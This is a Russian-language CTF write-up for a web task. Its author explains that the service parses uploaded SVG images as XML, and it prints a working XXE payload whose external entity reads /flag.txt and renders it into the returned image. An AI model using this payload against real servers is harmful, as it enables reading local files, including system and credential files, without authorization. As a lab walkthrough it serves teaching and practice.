Райтап на задачу «Вектор атаки»

fderious

Автор:

fderious

1 ноября 2026

4

01.11.2026
Вектор атаки
Категория:

Web

Задача «Вектор атаки»

Автор:

LastTeamLead

Первая кровь:
altfoxie
Сложность:
medium
Дата публикации:
01.11.2025
Решений:
170
Рейтинг:
4.4/5
Ссылка:
Решать

Описание

Флаг находится в корне сервера в файле /flag.txt.

Решение

В данном задании загружаются, а следовательно, и обрабатываются SVG-файлы.

Возьмём любое SVG-изображение, например, отсюда.

Посмотрим, что происходит во время загрузки:

Вектор атаки: иллюстрация 1

Обнаружен XML! А это значит, что можно проверить таску на XXE-уязвимость (XML External Entity).

Почитаем о векторах атаки на PayloadAllTheThings:

Жмём Ctrl+F и прописываем SVG:

Вектор атаки: иллюстрация 2

Отлично, можем взять payload отсюда. Формируем запрос:

<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///flag.txt" > ]>
	
<svg xmlns="http://www.w3.org/2000/svg" id="Filled" viewBox="0 0 24 24" 
width="512" height="512"><path d="M17.5,1.917a6.4,6.4,0,0,0-5.5,3.3,6.4,6.4,0,0,0-5.5-3.3A6.8,6.8,0,0,0,0,8.967c0,4.547,4.786,9.513,8.8,12.88a4.974,4.974,0,0,0,6.4,0C19.214,18.48,24,13.514,24,8.967A6.8,6.8,0,0,0,17.5,1.917Z"/>

	<text fill="white" font-size="1" x="0" y="16">&xxe;</text>
</svg>

Скопируем и вставим данный блок кода вместо отправляемого. Важно, что код посередине, отделённый переносами, будет зависеть от загружаемого файла. Поэтому данный кусок не должен никак меняться относительно того, что есть у тебя в начальном запросе.

Отправляем итоговый запрос и получаем картинку, поверх которой будет готов для копирования флаг.

Итак, таска решена!

Если вы нашли опечатку или ошибку, пожалуйста, выделите фрагмент текста и нажмите Ctrl+Enter

Также по теме:

Райтап на задачу «Вектор атаки»

/Разборы задач

Райтап на задачу «Вектор атаки»

Используем внешнюю XML-сущность в SVG-аватарке, чтобы прочитать файл с флагом, и разбираем причину XXE.
Прочитать

15

Райтап на задачу «OnlyBugs Video»

/Разборы задач

Райтап на задачу «OnlyBugs Video»

Разбираем доступ к приватной трансляции OnlyBugs Video: callNonce, X-Call-Trace и IDOR из-за отсутствия привязки ключа к комнате.
Прочитать

71